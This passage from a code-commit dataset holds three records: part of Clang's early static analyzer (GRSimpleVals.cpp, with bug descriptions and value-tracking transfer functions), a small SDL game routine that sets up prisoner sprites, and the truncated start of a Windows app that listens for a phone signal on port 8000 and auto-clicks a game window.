receiver.<commit_after>\/\/ GRSimpleVals.cpp - Transfer functions for tracking simple values -*- C++ -*--\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines GRSimpleVals, a sub-class of GRTransferFuncs that\n\/\/  provides transfer functions for performing simple value tracking with\n\/\/  limited support for symbolics.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"GRSimpleVals.h\"\n#include \"BasicObjCFoundationChecks.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Analysis\/PathDiagnostic.h\"\n#include \"clang\/Analysis\/PathSensitive\/ValueState.h\"\n#include \"clang\/Analysis\/PathSensitive\/BugReporter.h\"\n#include \"llvm\/Support\/Compiler.h\"\n#include <sstream>\n\nusing namespace clang;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Bug Descriptions.\n\/\/===----------------------------------------------------------------------===\/\/\n\nnamespace {\n  \nclass VISIBILITY_HIDDEN NullDeref : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"null dereference\";\n  }\n  virtual const char* getDescription() const {\n    return \"Dereference of null pointer.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefDeref : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad dereference\";\n  }\n  virtual const char* getDescription() const {\n    return \"Dereference of undefined value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefBranch : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"uninitialized value\";\n  }\n  virtual const char* getDescription() const {\n    return \"Branch condition evaluates to an uninitialized value.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN DivZero : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"divide-by-zero\";\n  }\n  virtual const char* getDescription() const {\n    return \"Division by zero\/undefined value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefResult : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"undefined result\";\n  }\n  virtual const char* getDescription() const {\n    return \"Result of operation is undefined.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN BadCall : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"invalid function call\";\n  }\n  virtual const char* getDescription() const {\n    return \"Called function is a NULL or undefined function pointer value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN BadArg : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad argument\";\n  }\n  virtual const char* getDescription() const {\n    return \"Pass-by-value argument in function is undefined.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN BadMsgExprArg : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad receiver\";\n  }\n  virtual const char* getDescription() const {\n    return \"Pass-by-value argument in message expression is undefined.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN BadReceiver : public BugDescription {\n  SourceRange R;\npublic:\n  BadReceiver(ExplodedNode<ValueState>* N) {\n    Stmt *S = cast<PostStmt>(N->getLocation()).getStmt();\n    Expr* E = cast<ObjCMessageExpr>(S)->getReceiver();\n    assert (E && \"Receiver cannot be NULL\");\n    R = E->getSourceRange();\n  }\n  \n  virtual const char* getName() const {\n    return \"invalid message expression\";\n  }\n  virtual const char* getDescription() const {\n    return \"Receiver in message expression is an uninitialized value.\";\n  }\n  \n  virtual void getRanges(const SourceRange*& B, const SourceRange*& E) const {\n    B = &R;\n    E = B+1;\n  }\n};\n  \nclass VISIBILITY_HIDDEN RetStack : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"return of stack address\";\n  }\n  virtual const char* getDescription() const {\n    return \"Address of stack-allocated variable returned.\";\n  }\n};\n  \n} \/\/ end anonymous namespace\n  \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Utility functions.\n\/\/===----------------------------------------------------------------------===\/\/\n  \ntemplate <typename ITERATOR> static inline\nExplodedNode<ValueState>* GetNode(ITERATOR I) {\n  return *I;\n}\n\ntemplate <> static inline\nExplodedNode<ValueState>* GetNode(GRExprEngine::undef_arg_iterator I) {\n  return I->first;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Analysis Driver.\n\/\/===----------------------------------------------------------------------===\/\/\n\ntemplate <typename ITERATOR>\nstatic void EmitWarning(Diagnostic& Diag, PathDiagnosticClient* PD,\n                        ASTContext& Ctx, BugReporter& BR,\n                        const BugDescription& Desc,\n                        ExplodedGraph<GRExprEngine>& G,\n                        ITERATOR I, ITERATOR E) {\n  \n  for (; I != E; ++I)\n    BR.EmitPathWarning(Diag, PD, Ctx, Desc, G, GetNode(I));\n}\n\nnamespace clang {\n  \nunsigned RunGRSimpleVals(CFG& cfg, Decl& CD, ASTContext& Ctx,\n                         Diagnostic& Diag, PathDiagnosticClient* PD,\n                         bool Visualize, bool TrimGraph) {\n  \n  GRCoreEngine<GRExprEngine> Eng(cfg, CD, Ctx);\n  GRExprEngine* CS = &Eng.getCheckerState();\n  \n  \/\/ Set base transfer functions.\n  GRSimpleVals GRSV;\n  CS->setTransferFunctions(GRSV);\n  \n  \/\/ Add extra checkers.\n  llvm::OwningPtr<GRSimpleAPICheck> FoundationCheck(\n    CreateBasicObjCFoundationChecks(Ctx, &CS->getStateManager()));\n  \n  CS->AddObjCMessageExprCheck(FoundationCheck.get());\n  \n  \/\/ Execute the worklist algorithm.\n  Eng.ExecuteWorkList(120000);\n  \n  BugReporter BR;\n  ExplodedGraph<GRExprEngine>& G = Eng.getGraph();\n  \n  EmitWarning(Diag, PD, Ctx, BR, NullDeref(), G,\n              CS->null_derefs_begin(), CS->null_derefs_end());\n\n\n  EmitWarning(Diag, PD, Ctx, BR, UndefDeref(), G,\n              CS->undef_derefs_begin(), CS->undef_derefs_end());\n\n  EmitWarning(Diag, PD, Ctx, BR, UndefBranch(), G,\n              CS->undef_branches_begin(), CS->undef_branches_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, DivZero(), G,\n              CS->explicit_bad_divides_begin(), CS->explicit_bad_divides_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, UndefResult(), G,\n              CS->undef_results_begin(), CS->undef_results_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadCall(), G,\n              CS->bad_calls_begin(), CS->bad_calls_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadArg(), G,\n              CS->undef_arg_begin(), CS->undef_arg_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadMsgExprArg(), G,\n              CS->msg_expr_undef_arg_begin(), CS->msg_expr_undef_arg_end());\n  \n  for (GRExprEngine::UndefReceiversTy::iterator I = CS->undef_receivers_begin(),\n                                  E = CS->undef_receivers_end(); I!=E; ++I) {\n       \n    BadReceiver Desc(*I);\n    BR.EmitPathWarning(Diag, PD, Ctx, Desc, G, *I);\n  }\n  \n  EmitWarning(Diag, PD, Ctx, BR, RetStack(), G,\n              CS->ret_stackaddr_begin(), CS->ret_stackaddr_end());\n\n  \n  FoundationCheck.get()->ReportResults(Diag, PD, Ctx, BR, G);\n#ifndef NDEBUG\n  if (Visualize) CS->ViewGraph(TrimGraph);\n#endif\n  \n  return Eng.getGraph().size();\n}\n  \n} \/\/ end clang namespace\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Transfer function for Casts.\n\/\/===----------------------------------------------------------------------===\/\/\n\nRVal GRSimpleVals::EvalCast(GRExprEngine& Eng, NonLVal X, QualType T) {\n  \n  if (!isa<nonlval::ConcreteInt>(X))\n    return UnknownVal();\n\n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  llvm::APSInt V = cast<nonlval::ConcreteInt>(X).getValue();\n  V.setIsUnsigned(T->isUnsignedIntegerType() || T->isPointerType() \n                  || T->isObjCQualifiedIdType());\n  V.extOrTrunc(Eng.getContext().getTypeSize(T));\n  \n  if (T->isPointerType())\n    return lval::ConcreteInt(BasicVals.getValue(V));\n  else\n    return nonlval::ConcreteInt(BasicVals.getValue(V));\n}\n\n\/\/ Casts.\n\nRVal GRSimpleVals::EvalCast(GRExprEngine& Eng, LVal X, QualType T) {\n  \n  if (T->isPointerLikeType() || T->isObjCQualifiedIdType())\n    return X;\n  \n  assert (T->isIntegerType());\n  \n  if (!isa<lval::ConcreteInt>(X))\n    return UnknownVal();\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  llvm::APSInt V = cast<lval::ConcreteInt>(X).getValue();\n  V.setIsUnsigned(T->isUnsignedIntegerType() || T->isPointerType());\n  V.extOrTrunc(Eng.getContext().getTypeSize(T));\n\n  return nonlval::ConcreteInt(BasicVals.getValue(V));\n}\n\n\/\/ Unary operators.\n\nRVal GRSimpleVals::EvalMinus(GRExprEngine& Eng, UnaryOperator* U, NonLVal X){\n  \n  switch (X.getSubKind()) {\n      \n    case nonlval::ConcreteIntKind:\n      return cast<nonlval::ConcreteInt>(X).EvalMinus(Eng.getBasicVals(), U);\n      \n    default:\n      return UnknownVal();\n  }\n}\n\nRVal GRSimpleVals::EvalComplement(GRExprEngine& Eng, NonLVal X) {\n\n  switch (X.getSubKind()) {\n      \n    case nonlval::ConcreteIntKind:\n      return cast<nonlval::ConcreteInt>(X).EvalComplement(Eng.getBasicVals());\n      \n    default:\n      return UnknownVal();\n  }\n}\n\n\/\/ Binary operators.\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             NonLVal L, NonLVal R)  {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  while (1) {\n    \n    switch (L.getSubKind()) {\n      default:\n        return UnknownVal();\n        \n      case nonlval::ConcreteIntKind:\n        \n        if (isa<nonlval::ConcreteInt>(R)) {          \n          const nonlval::ConcreteInt& L_CI = cast<nonlval::ConcreteInt>(L);\n          const nonlval::ConcreteInt& R_CI = cast<nonlval::ConcreteInt>(R);          \n          return L_CI.EvalBinOp(BasicVals, Op, R_CI);          \n        }\n        else {\n          NonLVal tmp = R;\n          R = L;\n          L = tmp;\n          continue;\n        }\n        \n      case nonlval::SymbolValKind: {\n        \n        if (isa<nonlval::ConcreteInt>(R)) {\n          const SymIntConstraint& C =\n            BasicVals.getConstraint(cast<nonlval::SymbolVal>(L).getSymbol(), Op,\n                                    cast<nonlval::ConcreteInt>(R).getValue());\n          \n          return nonlval::SymIntConstraintVal(C);\n        }\n        else\n          return UnknownVal();\n      }\n    }\n  }\n}\n\n\n\/\/ Binary Operators (except assignments and comma).\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             LVal L, LVal R) {\n  \n  switch (Op) {\n\n    default:\n      return UnknownVal();\n      \n    case BinaryOperator::EQ:\n      return EvalEQ(Eng, L, R);\n      \n    case BinaryOperator::NE:\n      return EvalNE(Eng, L, R);      \n  }\n}\n\n\/\/ Pointer arithmetic.\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             LVal L, NonLVal R) {  \n  return UnknownVal();\n}\n\n\/\/ Equality operators for LVals.\n\nRVal GRSimpleVals::EvalEQ(GRExprEngine& Eng, LVal L, LVal R) {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  switch (L.getSubKind()) {\n\n    default:\n      assert(false && \"EQ not implemented for this LVal.\");\n      return UnknownVal();\n      \n    case lval::ConcreteIntKind:\n\n      if (isa<lval::ConcreteInt>(R)) {\n        bool b = cast<lval::ConcreteInt>(L).getValue() ==\n                 cast<lval::ConcreteInt>(R).getValue();\n        \n        return NonLVal::MakeIntTruthVal(BasicVals, b);\n      }\n      else if (isa<lval::SymbolVal>(R)) {\n        \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(R).getSymbol(),\n                               BinaryOperator::EQ,\n                               cast<lval::ConcreteInt>(L).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      break;\n      \n    case lval::SymbolValKind: {\n\n      if (isa<lval::ConcreteInt>(R)) {          \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(L).getSymbol(),\n                               BinaryOperator::EQ,\n                               cast<lval::ConcreteInt>(R).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      \/\/ FIXME: Implement == for lval Symbols.  This is mainly useful\n      \/\/  in iterator loops when traversing a buffer, e.g. while(z != zTerm).\n      \/\/  Since this is not useful for many checkers we'll punt on this for \n      \/\/  now.\n       \n      return UnknownVal();      \n    }\n      \n    case lval::DeclValKind:\n    case lval::FuncValKind:\n    case lval::GotoLabelKind:\n      return NonLVal::MakeIntTruthVal(BasicVals, L == R);\n  }\n  \n  return NonLVal::MakeIntTruthVal(BasicVals, false);\n}\n\nRVal GRSimpleVals::EvalNE(GRExprEngine& Eng, LVal L, LVal R) {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n\n  switch (L.getSubKind()) {\n\n    default:\n      assert(false && \"NE not implemented for this LVal.\");\n      return UnknownVal();\n      \n    case lval::ConcreteIntKind:\n      \n      if (isa<lval::ConcreteInt>(R)) {\n        bool b = cast<lval::ConcreteInt>(L).getValue() !=\n                 cast<lval::ConcreteInt>(R).getValue();\n        \n        return NonLVal::MakeIntTruthVal(BasicVals, b);\n      }\n      else if (isa<lval::SymbolVal>(R)) {        \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(R).getSymbol(),\n                                  BinaryOperator::NE,\n                                  cast<lval::ConcreteInt>(L).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      break;\n      \n    case lval::SymbolValKind: {\n      if (isa<lval::ConcreteInt>(R)) {          \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(L).getSymbol(),\n                                  BinaryOperator::NE,\n                                  cast<lval::ConcreteInt>(R).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      \/\/ FIXME: Implement != for lval Symbols.  This is mainly useful\n      \/\/  in iterator loops when traversing a buffer, e.g. while(z != zTerm).\n      \/\/  Since this is not useful for many checkers we'll punt on this for \n      \/\/  now.\n      \n      return UnknownVal();\n      \n      break;\n    }\n      \n    case lval::DeclValKind:\n    case lval::FuncValKind:\n    case lval::GotoLabelKind:\n      return NonLVal::MakeIntTruthVal(BasicVals, L != R);\n  }\n  \n  return NonLVal::MakeIntTruthVal(BasicVals, true);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Transfer function for Function Calls.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid GRSimpleVals::EvalCall(ExplodedNodeSet<ValueState>& Dst,\n                            GRExprEngine& Eng,\n                            GRStmtNodeBuilder<ValueState>& Builder,\n                            CallExpr* CE, LVal L,\n                            ExplodedNode<ValueState>* Pred) {\n  \n  ValueStateManager& StateMgr = Eng.getStateManager();\n  ValueState* St = Builder.GetState(Pred);\n  \n  \/\/ Invalidate all arguments passed in by reference (LVals).\n\n  for (CallExpr::arg_iterator I = CE->arg_begin(), E = CE->arg_end();\n        I != E; ++I) {\n\n    RVal V = StateMgr.GetRVal(St, *I);\n    \n    if (isa<LVal>(V))\n      St = StateMgr.SetRVal(St, cast<LVal>(V), UnknownVal());\n  }\n  \n  \/\/ Make up a symbol for the return value of this function.\n  \n  if (CE->getType() != Eng.getContext().VoidTy) {    \n    unsigned Count = Builder.getCurrentBlockCount();\n    SymbolID Sym = Eng.getSymbolManager().getConjuredSymbol(CE, Count);\n        \n    RVal X = CE->getType()->isPointerType() \n             ? cast<RVal>(lval::SymbolVal(Sym)) \n             : cast<RVal>(nonlval::SymbolVal(Sym));\n    \n    St = StateMgr.SetRVal(St, CE, X, Eng.getCFG().isBlkExpr(CE), false);\n  }  \n    \n  Builder.MakeNode(Dst, CE, Pred, St);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/ WraithOne\n\/\/\/ www.Dark-Abyss.net\n\/\/\/\n\/\/\/ ZFX Action 2014\n\/\/\/\n\/\/\/ Theme: Career, Cell\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <Capp.h>\n\nbool Capp::InitPrisoner()\n{\n\t\/\/ Load Prisoner Image\n\tm_Prisoner = LoadImage(m_Renderer, \"Data\/GFX\/Prisoner.png\");\n\tif (m_Prisoner == nullptr)\n\t{\n\t\tShutdown();\n\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nvoid Capp::UpdatePrisoner(unsigned int elapsedTime)\n{\n\n}\n\nvoid Capp::RenderPrisoner(unsigned int elapsedTime)\n{\n\n}<commit_msg>Added Prisoners<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/ WraithOne\n\/\/\/ www.Dark-Abyss.net\n\/\/\/\n\/\/\/ ZFX Action 2014\n\/\/\/\n\/\/\/ Theme: Career, Cell\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <Capp.h>\n\nbool Capp::InitPrisoner()\n{\n\t\/\/ Load Prisoner Image\n\tm_Prisoner = LoadImage(m_Renderer, \"Data\/GFX\/Prisoner.png\");\n\tif (m_Prisoner == nullptr)\n\t{\n\t\tShutdown();\n\n\t\treturn false;\n\t}\n\tPrisoner temp;\n\n\t\/\/ Prisoner 1\n\ttemp.BBrect = { 22, 11, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 61, 30 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Cigaretts;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 2\n\ttemp.BBrect = { 18, 158, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 61, 133 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 72, 127 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 3\n\ttemp.BBrect = { 68, 232, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 64, 231 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 4\n\ttemp.BBrect = { 16, 363, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 65, 334 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Cigaretts;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 5\n\ttemp.BBrect = { 14, 411, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 65, 431 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 90;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 6\n\ttemp.BBrect = { 70, 534, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 65, 534 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 7\n\ttemp.BBrect = { 307, 49, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 256, 32 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 90;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 8\n\ttemp.BBrect = { 253, 137, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 254, 137 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Cigaretts;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 90;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 9\n\ttemp.BBrect = { 381, 261, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = {384, 265 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 90;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 10\n\ttemp.BBrect = { 482, 208, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 483, 265 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Cigaretts;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 11\n\ttemp.BBrect = { 281, 461, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 283, 451 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 12\n\ttemp.BBrect = { 358, 481, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 385, 452 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 13\n\ttemp.BBrect = { 480, 466, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 481, 455 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\t\/\/ Prisoner 14\n\ttemp.BBrect = { 570, 495, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 582, 453 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Nothing;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 90;\n\tm_PrisonerList.push_back(temp);\n\t\n\t\/\/ Prisoner 15\n\ttemp.BBrect = { 702, 497, 32, 32 };\n\ttemp.srcRect = { 0, 0, 32, 32 };\n\ttemp.Behave = Standing;\n\ttemp.lastDecisiontime = 0;\n\ttemp.Buyposition = { 679, 453 };\n\ttemp.Buyrotation = 90;\n\ttemp.BuyGoods = Cigaretts;\n\ttemp.Walkposition = { 62, 65 };\n\ttemp.walkrotation = 0;\n\tm_PrisonerList.push_back(temp);\n\n\treturn true;\n}\n\nvoid Capp::UpdatePrisoner(unsigned int elapsedTime)\n{\n\tstd::vector<Prisoner>::iterator it;\n\tfor (it = m_PrisonerList.begin(); it < m_PrisonerList.end(); it++)\n\t{\n\t\tif (it->Behave == Standing)\n\t\t{\n\t\t\tit->srcRect.x = 0;\n\t\t}\n\t\tif (it->Behave == WalkingVertical)\n\t\t{\n\t\t\tit->srcRect.x = 32;\n\t\t\tit->walkrotation = 90;\n\t\t}\n\t\tif (it->Behave == WalkingHorizontal)\n\t\t{\n\t\t\tit->srcRect.x = 64;\n\t\t\tit->walkrotation = 0;\n\t\t}\n\t\tif (it->Behave == Buying)\n\t\t{\n\t\t\tit->walkrotation = it->Buyrotation;\n\t\t}\n\t}\n}\n\nvoid Capp::RenderPrisoner(unsigned int elapsedTime)\n{\n\tstd::vector<Prisoner>::iterator it;\n\tfor (it = m_PrisonerList.begin(); it < m_PrisonerList.end(); it++)\n\t{\n\t\tSDL_RenderCopyEx(m_Renderer, m_Prisoner, &it->srcRect, &it->BBrect, it->walkrotation, NULL, SDL_FLIP_NONE);\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>#define _WINSOCKAPI_\r\n#include <windows.h>\r\n\r\n#include \"qpop_app.h\"\r\n#include \"qpop_frame.h\"\r\n\r\n#include <stdio.h>\r\n#include <string>\r\n#include <settings_class.h>\r\n#include <iostream>\r\n#include <qpop_server.h>\r\n#include <gdiplus.h>\r\n#include <img_processing.h>\r\n#include <screen_capturer.h>\r\n#include <ancillary_functions.h>\r\n#include <shared_access.h>\r\n#include <mutex>\r\n\r\n\r\nnamespace boost\r\n{\r\n\t#ifdef BOOST_NO_EXCEPTIONS\r\n\tvoid throw_exception( std::exception const & e ){\r\n\t    throw e;\r\n\t};\r\n\t#endif\r\n}\r\n\r\n\/\/ TODO: check why connections are dropping randomly - reenable authentication\r\n\r\nusing namespace Ancillary_Function;\r\nusing namespace Qpop::gui;\r\nvoid MonitorCondition(Qpop_Server* s, int x, int y, std::string exe_name);\r\nvoid StartQpopBackend(QpopFrame* frame);\r\n\r\nbool QpopApp::OnInit(){\r\n\tQpopFrame* frame = new QpopFrame(\"Qpop\", wxDefaultPosition, wxSize(250, 200));\r\n\tframe->Show(true);\r\n\tthis->qpop_scanner = new std::thread(StartQpopBackend, frame);\r\n\treturn true;\r\n}\r\n\r\n\r\n\/**\r\n* Monitors the condition of whether or not\r\n* @param s        pointer to a running Qpop_server\r\n* @param x        x coordinate\r\n* @param y        y coordinate\r\n* @param exe_name name of process\r\n*\/\r\n\r\nvoid MonitorCondition(Qpop_Server* s, int x, int y, std::string exe_name) {\r\n\t\/\/ Set up port and start server to interact\r\n\t\/\/ with mobile app\r\n\ts->set_port(8000);\r\n\ts->start_server();\r\n\twhile (_close_qpop == 0) {\r\n\t\tstd::unique_lock<std::mutex> lock(_monitor_pause);\r\n\t\tcondition.wait(lock);\r\n\t\tif (s->conditionSatisfied()) {\r\n\t\t\tSetDelayCount(4);\r\n\t\t\tExhaustiveClick(x, y, exe_name);\r\n\t\t\ts->setCondition(false);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid StartQpopBackend(QpopFrame* frame){\r\n\tsrand(time(NULL));\r\n\twxString auth_num, wxdifference;\r\n\tQpop_Server main_server;\r\n\tstd::cout << \"Starting Main Program\" << std::endl;\r\n\tGdiplus::GdiplusStartupInput gdiplusStartupInput;\r\n   \tULONG_PTR gdiplusToken;\r\n   \tGdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);\r\n   \tbool image_match = false;\r\n\tstd::string exe_name;\r\n\tGdiplus::Bitmap* snapshot = NULL;\r\n\tGdiplus::Bitmap* bmp_from_file = NULL;\r\n\tint result = 0;\r\n\r\n\twxStaticText* connect_status_text = (wxStaticText*) (frame->FindWindowById(wxSTATUS_TEXT));\r\n\twxStaticText* diff_text = (wxStaticText*) (frame->FindWindowById(wxDIFF_TEXT));\r\n   \t\/\/ Create settings profile for league of legends\r\n   \tSettings_Profile cur_prof(\"lol.txt\");\r\n\r\n   \t\/\/ TODO: put into subclass\r\n   \tconnect_status_text->SetForegroundColour(wxColour(wxT(\"RED\")));\r\n   \tframe->Refresh();\r\n   \t\r\n   \t\/\/ Create scaling info struct. Keeps default  x and y for when window is resized. The resize it then applied\r\n   \t\/\/ To the location of the buttons\r\n\tloadBitmapFromFile(&bmp_from_file, cur_prof.getImgName(0));\r\n\tfloat difference = 0;\r\n\ttagSIZE* img_dimensions = (tagSIZE*) calloc(sizeof(tagSIZE), cur_prof.getImgCount());\r\n\texe_name = cur_prof.getProcessName();\r\n\r\n\t\/\/ Create thread to manage asynchronous requests. The numbers passed in are the coordinates for the\r\n\t\/\/ ExhaustiveClick call. When conditions for the server are true - it recieves a signal from a phone - \r\n\t\/\/ it will call this exhaustive click\r\n    std::thread monitor_thread(MonitorCondition, &main_server, cur_prof.getX(0) + (int) (bmp_from_file->GetWidth() \/ 2), cur_prof.getY(0) + (int) 